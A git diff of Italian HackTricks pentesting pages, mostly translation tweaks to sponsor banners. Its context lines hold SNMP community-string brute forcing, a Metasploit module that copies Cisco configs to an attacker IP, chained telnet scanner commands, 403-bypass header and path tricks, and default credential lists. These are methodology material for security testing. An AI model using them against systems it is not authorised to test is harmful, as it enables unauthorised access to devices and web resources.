* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
|
|
|
@ -4,17 +4,17 @@
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ onesixtyone -c communitystrings -i targets
|
||||||
```
|
```
|
||||||
#### `cisco_config_tftp`
|
#### `cisco_config_tftp`
|
||||||
|
|
||||||
Il framework Metasploit include il modulo `cisco_config_tftp`, che facilita l'estrazione delle configurazioni del dispositivo, a condizione di acquisire una stringa di comunità RW. I parametri essenziali per questa operazione includono:
|
Il framework Metasploit include il modulo `cisco_config_tftp`, che facilita l'estrazione delle configurazioni dei dispositivi, a condizione di acquisire una stringa di comunità RW. I parametri essenziali per questa operazione includono:
|
||||||
|
|
||||||
* Stringa di comunità RW (**COMMUNITY**)
|
* Stringa di comunità RW (**COMMUNITY**)
|
||||||
* IP dell'attaccante (**LHOST**)
|
* IP dell'attaccante (**LHOST**)
|
||||||
|
@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
||||||
|
|
||||||
|
@ -59,8 +59,8 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
@ -10,11 +10,11 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -84,9 +84,9 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -96,10 +96,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -32,7 +32,7 @@ Prova a utilizzare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT
|
||||||
|
|
||||||
* **Cambia l'header Host** con un valore arbitrario ([che ha funzionato qui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
* **Cambia l'header Host** con un valore arbitrario ([che ha funzionato qui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||||
* Prova a [**usare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
|
* Prova a [**usare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
|
||||||
* **Fuzz degli Header HTTP**: Prova ad utilizzare gli **Header** del Proxy HTTP, l'autenticazione HTTP Basic e il brute-force NTLM (con poche combinazioni) e altre tecniche. Per fare tutto ciò ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
* **Fuzz degli Header HTTP**: Prova ad utilizzare **Headers** di Proxy HTTP, Autenticazione HTTP di Base e forza bruta NTLM (con poche combinazioni) e altre tecniche. Per fare tutto ciò ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||||
|
|
||||||
* `X-Originating-IP: 127.0.0.1`
|
* `X-Originating-IP: 127.0.0.1`
|
||||||
* `X-Forwarded-For: 127.0.0.1`
|
* `X-Forwarded-For: 127.0.0.1`
|
||||||
|
@ -53,7 +53,7 @@ Se il **percorso è protetto** puoi provare a bypassare la protezione del percor
|
||||||
* `X-Original-URL: /admin/console`
|
* `X-Original-URL: /admin/console`
|
||||||
* `X-Rewrite-URL: /admin/console`
|
* `X-Rewrite-URL: /admin/console`
|
||||||
* Se la pagina è **dietro un proxy**, forse è il proxy quello che ti impedisce di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**header hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
* Se la pagina è **dietro un proxy**, forse è il proxy quello che ti impedisce di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**header hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||||
* Fuzz degli [**header HTTP speciali**](special-http-headers.md) cercando una risposta diversa.
|
* Fuzz degli [**header HTTP speciali**](special-http-headers.md) cercando risposte diverse.
|
||||||
* **Fuzz degli header HTTP speciali** mentre fuzzi i **Metodi HTTP**.
|
* **Fuzz degli header HTTP speciali** mentre fuzzi i **Metodi HTTP**.
|
||||||
* **Rimuovi l'header Host** e forse sarai in grado di bypassare la protezione.
|
* **Rimuovi l'header Host** e forse sarai in grado di bypassare la protezione.
|
||||||
|
|
||||||
|
@ -61,8 +61,8 @@ Se il **percorso è protetto** puoi provare a bypassare la protezione del percor
|
||||||
|
|
||||||
Se _/percorso_ è bloccato:
|
Se _/percorso_ è bloccato:
|
||||||
|
|
||||||
* Prova a utilizzare _**/**_**%2e/percorso \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/percorso (doppio URL encode)
|
* Prova a utilizzare _**/**_**%2e/percorso \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/percorso (doppio URL encoding)
|
||||||
* Prova il **bypass Unicode**: _/**%ef%bc%8f**percorso_ (I caratteri codificati URL sono come "/") quindi quando decodificati torneranno a essere _//percorso_ e forse avrai già bypassato il controllo del nome _/percorso_
|
* Prova il **bypass Unicode**: _/**%ef%bc%8f**percorso_ (I caratteri codificati nell'URL sono come "/") quindi quando decodificati torneranno a essere _//percorso_ e forse avrai già bypassato il controllo del nome _/percorso_
|
||||||
* **Altri bypass del percorso**:
|
* **Altri bypass del percorso**:
|
||||||
* sito.com/segreto –> HTTP 403 Forbidden
|
* sito.com/segreto –> HTTP 403 Forbidden
|
||||||
* sito.com/SEGRETO –> HTTP 200 OK
|
* sito.com/SEGRETO –> HTTP 200 OK
|
||||||
|
@ -94,7 +94,7 @@ Se _/percorso_ è bloccato:
|
||||||
* Rimuovere i parametri
|
* Rimuovere i parametri
|
||||||
* Riordinare i parametri
|
* Riordinare i parametri
|
||||||
* Utilizzare caratteri speciali.
|
* Utilizzare caratteri speciali.
|
||||||
* Eseguire test di boundary nei parametri - fornire valori come _-234_ o _0_ o _99999999_ (solo alcuni valori di esempio).
|
* Eseguire test di boundary testing nei parametri - fornire valori come _-234_ o _0_ o _99999999_ (solo alcuni valori di esempio).
|
||||||
|
|
||||||
## **Versione del protocollo**
|
## **Versione del protocollo**
|
||||||
|
|
||||||
|
@ -107,7 +107,7 @@ Se si utilizza HTTP/1.1 **provare a utilizzare 1.0** o testare se **supporta 2.0
|
||||||
* **Cambiare il protocollo**: da http a https, o da https a http
|
* **Cambiare il protocollo**: da http a https, o da https a http
|
||||||
* Andare su [**https://archive.org/web/**](https://archive.org/web/) e verificare se in passato quel file era **accessibile in tutto il mondo**.
|
* Andare su [**https://archive.org/web/**](https://archive.org/web/) e verificare se in passato quel file era **accessibile in tutto il mondo**.
|
||||||
|
|
||||||
## **Forza bruta**
|
## **Brute Force**
|
||||||
|
|
||||||
* **Indovinare la password**: Testare le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF?
|
* **Indovinare la password**: Testare le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF?
|
||||||
* [**Forza bruta**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Provare autenticazioni di base, digest e NTLM.
|
* [**Forza bruta**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Provare autenticazioni di base, digest e NTLM.
|
||||||
|
@ -133,22 +133,22 @@ guest guest
|
||||||
* [Estensione Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
* [Estensione Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||||
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare più in profondità, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a approfondire, ottenere shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 80,443 - Metodologia del Pentesting Web
|
# 80,443 - Metodologia di Pentesting Web
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||||
|
|
||||||
|
@ -45,19 +45,19 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
|
|
||||||
> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ciascun dominio, sottodominio o IP scoperto con un server web non determinato all'interno del perimetro.
|
> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ciascun dominio, sottodominio o IP scoperto con un server web non determinato all'interno del perimetro.
|
||||||
|
|
||||||
* [ ] Inizia **identificando** le **tecnologie** utilizzate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tecnologia.
|
